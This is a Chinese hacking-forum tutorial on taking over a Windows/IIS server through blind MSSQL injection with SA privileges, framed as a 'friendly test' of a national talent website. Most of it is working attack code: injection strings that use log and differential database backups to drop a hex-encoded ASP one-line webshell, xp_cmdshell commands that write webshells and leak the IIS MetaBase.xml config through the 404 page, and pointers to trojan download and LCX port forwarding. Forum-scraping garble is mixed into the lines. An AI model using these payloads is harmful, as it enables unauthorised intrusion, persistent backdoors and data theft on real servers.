sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————
2 S: ]% R. S+ N. ]" t
( Q$ ~' P" z0 m' r" {
                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
. B) v3 T3 k; a6 ?$ d0 \
3 k, v" d5 D% B9 F                                                                 
" O4 \: N4 r7 J  e+ g' z! K                                                                 
                                                                  论坛： http://www.90team.net/

6 w! B6 g( }2 ^0 L) z1 B
2 Z2 l2 g; x8 T$ o9 [3 \8 `
: }) x0 s* n. ?6 H+ n7 @9 {友情检测国家人才网

" x# h/ i* \  x2 k! X
6 b& f1 L6 x; _! t内容：MSSQL注入SA权限不显错模式下的入侵

, p! l- f% V1 f6 R, ?. }, V
$ t4 C: M  }9 o; a# j& D一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

- u- S  K& x: }; g5 D; S3 d( W1 v我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
/ L/ t( P; S! R: X5 m% D0 s9 i

这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。

思路：

首先：
/ c% G5 Y3 j. t7 Z
$ C" c" r! f- T0 i) `: L  q1 |通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
) d4 U$ y; w: E/ f; K
1.日志备份获得Webshell

2.数据库差异备份获得Webshell
& W" U( ?7 q* f: D$ o1 j: k
/ z- a- W( D* T# W  [8 e4.直接下载免杀远控木马。

5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
/ x! Y1 G4 U  c- T- {7 H


" Q2 [& g5 T; o在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
$ ?$ T7 f4 S. q; \+ q* z" D( o* ?
0 D/ Z1 u% d/ C/ O, `8 S- Q我直接演示后面一个方法


分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL



/ u0 s3 B- P- m4 O
◆日志备份：


8 v- t3 a8 L; M8 m1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
7 L8 h5 A' |& R4 ~9 `. M
2. 插入数据
8 g% ]8 R) @2 {3 g. W2 u, b9 x;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
1 N# K% H& ?  @3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--



' P$ \( A6 E8 y: b5 T2 `◆数据库差异备份
7 g0 O) w3 N& l% B( O
+ s. }2 N% y8 A! P（1. 进行差异备份准备工作
& N* q+ K* N! W6 _0 ^9 v7 M
: l: `# `, f' [  B7 [; [;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
$ s! u: E$ w& t) s
% n) K# Q7 J, f上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


; d1 ?. f, a* d0 o, j& H( N（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>

1 S2 l/ o! T+ U5 m4 t( ~3. 备份数据库并清理临时文件

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--
2 D$ g2 C( P# b# C: @* O" k' P8 u
0x633A5C746573742E617370  为 c:\test.asp  删除临时文件
$ r5 ~; j( o, R* D: V/ m


( [$ E8 r# s/ L! X, m. M& [" D用^转义字符来写ASP(一句话木马)文件的方法:   

5 W7 }& T4 R+ ?5 b, f2 l1 k# A1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
% i3 j' F. J5 y' J& A  u* V
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
0 G) v9 x# R2 v8 G
* J9 N+ v4 A  d  R读取IIS配置信息获取web路径
; S' h0 Z& N7 c  V7 X" S' p% x6 o$ U
     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

+ S1 s" x2 j% M0 U- e! c执行命令
     
     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
0 z; F  h3 o' Q7 A- r5 B! U( x
/ f. P2 [4 Z# C0 i

) ?* r8 ]* o4 p1 q, T
) P3 W) T0 o" a6 q% a. Q$ U5 I
, b1 s' x. e) H. O* n6 a: r
1 E! u9 C5 j7 W# _: I/ f; z
  r3 p4 s4 O5 i! {/ r. ]
1 n5 E  g) x. Z. e
6 q/ @3 e# d+ x) M
, ]* Y( E. p' m5 S7 O  u+ {- {

6 e1 X7 \1 H) c5 y& E


0 Y1 O3 ]0 N8 R* o5 P2 g


6 Q0 V  x& {3 l. g! h% T& j4 }( f
5 {2 E. t! l* `$ E% r


0 Y* a" E8 Y8 T/ K7 M* ^( a

# a9 v9 u0 D. R8 k2 b# C8 ?" |* [
" h$ p: b. n5 Z

6 o+ O" C# a" u2 H8 Z0 W- ]
$ \& P! P4 J6 i$ G  S

5 V& G: [% y6 }; i0 ]9 f

2 S( J8 @: F+ u( T5 J


3 a0 T& M( x4 B! s2 |+ d! r/ I

7 i/ d& ~2 _! R/ y& p
6 V* N5 ^/ C7 [) H% Y



+ \& h  s1 V( b. [$ q& N

$ r( N  E- j1 A! r, M
: B6 F1 x# l& S9 s3 A* y9 E' U$ t8 U6 c